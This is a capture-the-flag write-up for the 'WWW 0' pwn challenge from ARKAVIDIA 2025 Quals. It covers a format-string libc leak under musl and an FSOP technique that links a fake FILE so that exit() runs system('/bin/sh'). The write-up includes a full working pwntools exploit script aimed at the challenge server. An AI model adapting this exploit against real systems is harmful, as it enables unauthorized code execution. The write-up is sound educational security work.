HyggeHalcyon
GithubLinkedIn
  • 🕊️whoami
  • 🚩CTFs
    • 2025
      • ARKAVIDIA Quals
      • TECHOMFEST Quals
    • 2024
      • BackdoorCTF
      • World Wide CTF
      • 7th Cyber Mimic Defense
      • TSA Cyber Champion
      • Cyber Jawara International
      • National Cyber Week Quals
      • COMPFEST 16 Finals
      • HackToday Finals
      • UIUCTF
      • TBTL CTF
      • BSidesSF CTF
      • UMD CTF
      • UMassCTF
      • b01lers CTF
      • AmateursCTF
      • UNbreakable International - Team Phase
    • 2023
      • HackToday CTF Quals
        • Vnote
        • TahuBulat
        • Rangkaian Digital
      • Tenable CTF
        • Skiddyana Pwnz and the Loom of Fate
        • Braggart
      • CiGITS
        • afafafaf
        • popping around shell
        • well_known
      • TJCTF
        • flip out
        • shelly
        • groppling-hook
        • formatter
        • teenage-game
      • SanDiegoCTF
        • money printer
        • turtle shell
      • DeadSec CTF
        • one punch
      • FindIT CTF Quals
        • Debugging Spiders
        • Everything Machine
        • Furr(y)verse
        • Bypass the Py
        • Joy Sketching in the Matrix
        • Detective Handal
        • I Like Matrix
        • CRYptograPI
        • Date Night
        • Web-Find IT
        • Mental Health Check
        • NCS Cipher
        • Discovered
  • 🔍NOTES
    • FSOP
      • Structures
      • GDB
      • Arbitrary Read/Write
      • Vtable Hijack
    • Heap Feng Shui
      • Libc Leak
    • Kernel Space
      • Privilege Escalation
      • Objects
      • Escaping Seccomp
    • V8
      • Documentation
      • TurboFan
      • SandBox (Ubercage)
  • 📚Resources
    • Cyber Security
      • General
      • Red Teaming
        • CheatSheet
        • Payload Database
        • Quality of Life
      • Binary Exploitation
        • Return Oriented Programming
        • File Structure Oriented Programming
        • Heap Exploitation
        • Linux Kernel Exploitation
        • Windows Exploitation
        • V8 Browser
      • Reverse Engineering
        • Windows Executable
        • Malware Analysis
        • Tools
      • Web Exploitation
      • Malware Development
      • Detection Engineering
      • Blockchain / Web3
      • Cryptography
    • Software Engineering
  • 📋Planning
    • Quick Notes
Powered by GitBook
On this page
  • WWW 0
  • Description
  • Analysis
  • Exploitation
  1. CTFs
  2. 2025

ARKAVIDIA Quals

Previous2025NextTECHOMFEST Quals

Last updated 2 months ago

Team: DitmawaITS, jadi reimburse biaya transport dan akomodasi lomba kah? :Clueless:

Rank: 3rd / 151

Challenge
Category
Points
Solves

WWW 0

Binary Exploitation

996 pts

3

WWW 0

Description

Namanya bukan "WWW 3" karena takutnya koch zafir udah bikin :D

Author: msfir

nc 20.195.43.216 8002

Analysis

we're given an elf binary with protection as follows

└──╼ [★]$ pwn checksec chall
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

thankfully we're also given the source code and it's quite small

#include <stdio.h>
#include <stdlib.h>

void gift()
{
    char buf[1024] = {0};
    scanf(" %32[^$n\n]", buf);
    printf(buf);
    putchar('\n');
}

int main()
{
    gift();
    long long *ptr;
    printf("Where: ");
    fflush(stdout);
    scanf("%p", &ptr);
    printf("What: ");
    fflush(stdout);
    scanf("%lli", ptr);
    exit(0);
}

in the dockerfile we can see that the challenge is hosted in alpine

FROM alpine@sha256:56fa17d2a7e7f168a043a2712e63aed1f8543aeafdcee47c58dcffe38ed51099

RUN apk add --no-cache \
    socat

RUN addgroup -S ctf && adduser -S ctf -G ctf

COPY flag.txt /home/ctf/flag.txt
COPY chall /home/ctf/chall

RUN chmod 644 /home/ctf/flag.txt \
    && chmod 755 /home/ctf/chall \
    && chown -R root:ctf /home/ctf

WORKDIR /home/ctf
USER ctf
CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:./chall,stderr"]

upon further inspection it was then revealed that alpine uses musl for its libraries instead of the usual glibc which will affect the behaviour of our exploitation later on.

additionally, in the middle of the competition the author thankfully provided us with the debug library since the one within the docker doesn't contain debug symbol.

Exploitation

No Positional Argument Format String

while POSIX specifies that positional parameters (like %1$p) should be supported, musl deliberately does not implement them.

and after spamming as many %p as I can into a 32 bytes buffer, nothing came out was from the lib's memory addresses. So the easiest way is to leak using the %s and inserting one of the GOT's entry address into the stack as it guaranteed to contain one of the function address from the lib's memory region.

# why musl no position format string
io.sendline(b'%p|%d|%p|%p|%p|%p%p%p|%s' + p64(elf.got['printf']))

also good thing to note is that it seems the binary only loads the linker which acts both as the linker and the standard library (I think...) that implements most of the IO and other functions.

musl code execution after exit via FSOP

after some googling and reading, I found a similar FSOP technique to gain execution after exit.

from the above blog quote:

However, I offer another solution here: we can use FSOP in musl. The FILE struct in musl is similar to that in glibc. The difference is that musl does not use vtable, it keeps the pointers in the data structure. What we can do is to use the arbitrary allocation to overwrite its write pointer with system and replace its flag with E;sh;\x00. When puts is called, the write function will be called with its flag as the first argument. After the overwite, it becomes system("E;sh;\x00") and gives us a shell. (“E;” is here because the original flag is 0x45(“E”), I want to preserve the flag)

further googling leads me to this blog that details about the FSOP techniques in gaining code execution.

if you're familiar with glibc's FSOP, this one is simpler and have less security checks on them.

first is the FILE structure, in musl they don't have a vtable rather the methods are directly within the structure itself as we can see in the definition below

struct _IO_FILE {
	unsigned flags;
	unsigned char *rpos, *rend;
	int (*close)(FILE *);
	unsigned char *wend, *wpos;
	unsigned char *mustbezero_1;
	unsigned char *wbase;
	size_t (*read)(FILE *, unsigned char *, size_t);
	size_t (*write)(FILE *, const unsigned char *, size_t);
	off_t (*seek)(FILE *, off_t, int);
	unsigned char *buf;
	size_t buf_size;
	FILE *prev, *next;
	int fd;
	int pipe_pid;
	long lockcount;
	short dummy3;
	signed char mode;
	signed char lbf;
	int lock;
	int waiters;
	void *cookie;
	off_t off;
	char *getln_buf;
	void *mustbezero_2;
	unsigned char *shend;
	off_t shlim, shcnt;
};

on exit the, it will perform some cleanup on these files

_Noreturn void exit(int code)
{
    __funcs_on_exit();
    __libc_exit_fini();
    __stdio_exit();  // <---
    _Exit(code);
}
void __stdio_exit(void)
{
    FILE *f;
    for (f=*__ofl_lock(); f; f=f->next) close_file(f);
    close_file(__stdin_used);
    close_file(__stdout_used);
    close_file(__stderr_used);
}
static void close_file(FILE *f)
{
    if (!f) return;
    FFINALLOCK(f);
    if (f->wpos != f->wbase) f->write(f, 0, 0);
    if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

so depending on the checks it will either calls write or seek

to gain shell we need to write /bin/sh to the start of the structure and overwrite one of the method then trigger said method.

which the current challenge present its problem, as it either requires a huge write buffer or multiple writes in order to be successfully executed.

Failed attempts to hijack functions from existing files

if you notice from the source code, it continuously flushes stdout which will empties both of rpos and rend.

this means seek can only be triggered if we corrupt stdin and not the others.

meanwhile, write will not be able to be triggered at all as wpos and wbase are also null when examined at exit

so we can only overwrites the stdin's seek to control execution flow. I then think we're able to gain multiple writes if we're able to go back to main multiple times.

However this deemed to be fruitless as when we exit the first time, the main thread gets locked from the call to __libc_exit_fini(); and was never released. as the program exit for the second time, it will be a deadlock and will hang indefinitely.

so since we're able to control execution flow, I thought of using one_gadget, however the tool fails to run on the library, I then tried every offset within execvpe and system addresses but nothing seems to work.

Flashback to Cyber Jawara Qualifier

another national competition named Cyber Jawara held its qualifier back in January, there zafirr also created a WWW challenge which is similar in concept to this. both uses scanf to take inputs and flushes stdout but not stdin

the current author (msfir) solves that challenge by creating a fake file within the stdin's buffer in the heap and then uses the 8 write bytes to link the file such that when exit is called, the cleanup function will traverse all of the files and this includes the fake file which fully customised to gain shell.

in this challenge the same concept is applied, just with musl instead.

FSOP code execution by linking fake file in musl

in glibc's implementation, all opened files are linked in a global head variable. in musl's implementation standard's IO are stored in global variable and not linked to subsequent opened files.

to examine the global head variable which contains linked files we need to examine the return value of __ofl_lock()

    for (f=*__ofl_lock(); f; f=f->next) close_file(f);

as can be seen, the head contains null pointer as the program doesn't load any of the or open any files. we can then write to this address of where our fake file will be located.

as for our fake file, it will be located within the stdin's buffer and is pointed by rpos and rend.

further examining the code execution we can confirm that it will call close_file with the crafted fake file as its argument and subsequently will call write that has been substituted with system.

here's the exploit being ran againts the remote server

here's the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall'
elf = context.binary = ELF(exe, checksec=True)
lib = './ld-musl-x86_64.so.1'
lib = ELF(lib, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = '20.195.43.216', 8002

USING_LIB_DEBUG = False
def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)
    
env = {
    "LD_PRELOAD": "ld-musl-x86_64.so.1"
}

gdbscript = '''
init-pwndbg

# gift's printf
# break *0x40126e

# scanf that writes
# break *0x40110f

# call to exit in main
break *0x401116
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec chall
#     Arch:     amd64-64-little
#     RELRO:    Full RELRO
#     Stack:    Canary found
#     NX:       NX enabled
#     PIE:      No PIE (0x400000)

# maybe through stdin's f->seek() function ptr
def fuzz_one_gadget():
    global io

    for i in range(0, 142):
        try:
            context.log_level = 'warning'
            # log.warn(f'trying system offset-{i}') # 529
            log.warn(f'trying execvpe offset-{i}') # 142

            io = initialize()

            io.sendline(b'%p|%d|%p|%p|%p|%p%p%p|%s' + p64(elf.got['printf']))
            io.recvuntil(b'70|')

            if not USING_LIB_DEBUG:
                lib.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x621b1
                stdout = lib.address + 0xa2280
                stdin = lib.address + 0xa2180
                stderr = lib.address + 0xa8080
            else:
                lib.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x729c0
                stdout = lib.address + 0xb7280
                stdin = lib.address + 0xb7180
                stderr = lib.address + 0xb7080

            io.sendlineafter(b'Where:', hex(stdin+0x50).encode())
            # io.sendlineafter(b'What:', hex(lib.address + 0x6a440 + i).encode())
            io.sendlineafter(b'What:', hex(lib.address + 0x695a0 + i).encode())

            io.send(b'ls')
            io.recvline()

            log.info("lib base: %#x", lib.address)
            log.info("stdout: %#x", stdout)
            log.info("stdin: %#x", stdin)
            log.info("stderr: %#x", stderr)
            io.interactive()
        except Exception as e:
            io.close()
            continue
    
def exploit():
    io = initialize()

    # why musl no position format string
    io.sendline(b'%p|%d|%p|%p|%p|%p%p%p|%s' + p64(elf.got['printf']))
    io.recvuntil(b'70|')

    if not USING_LIB_DEBUG:
        lib.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x621b1
        stdout = lib.address + 0xa2280
        stdin = lib.address + 0xa2180
        stderr = lib.address + 0xa8080
        ofl_head = lib.address + 0xa4e88
        buf = lib.address + 0xa32e9+7
    else:
        lib.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x729c0
        stdout = lib.address + 0xb7280
        stdin = lib.address + 0xb7180
        stderr = lib.address + 0xb7080
        ofl_head = lib.address + 0xb9e88
        buf = lib.address + 0xb82f0

    fake_file = flat([
        u64(b'/bin/sh\x00'),
        0x1,
        0x2,
        0x3,
        0x4,
        0x5,
        0x6,
        0x7,
        0x8,
        lib.sym['system']
    ])

    payload = hex(buf+6).encode() + fake_file
    io.sendlineafter(b'Where:', hex(ofl_head).encode())
    io.sendlineafter(b'What:', payload)

    log.info("lib base: %#x", lib.address)
    log.info("stdout: %#x", stdout)
    log.info("stdin: %#x", stdin)
    log.info("stderr: %#x", stderr)
    io.interactive()

if __name__ == '__main__':
    # fuzz_one_gadget()
    exploit()

Flag: ARKAV{maaf_koch_zafir_ini_challnya_cuma_terinspirasi_kok_bukan_plagiat_hehe}


🚩
Page cover image
musl pwn 入门 (3)_pwn musk-CSDN博客
Logo
1.1.24 musl pwn - 狒猩橙 - 博客园
Logo
[DEFCON 2021 Quals] - moooslkylebot's Blog
Logo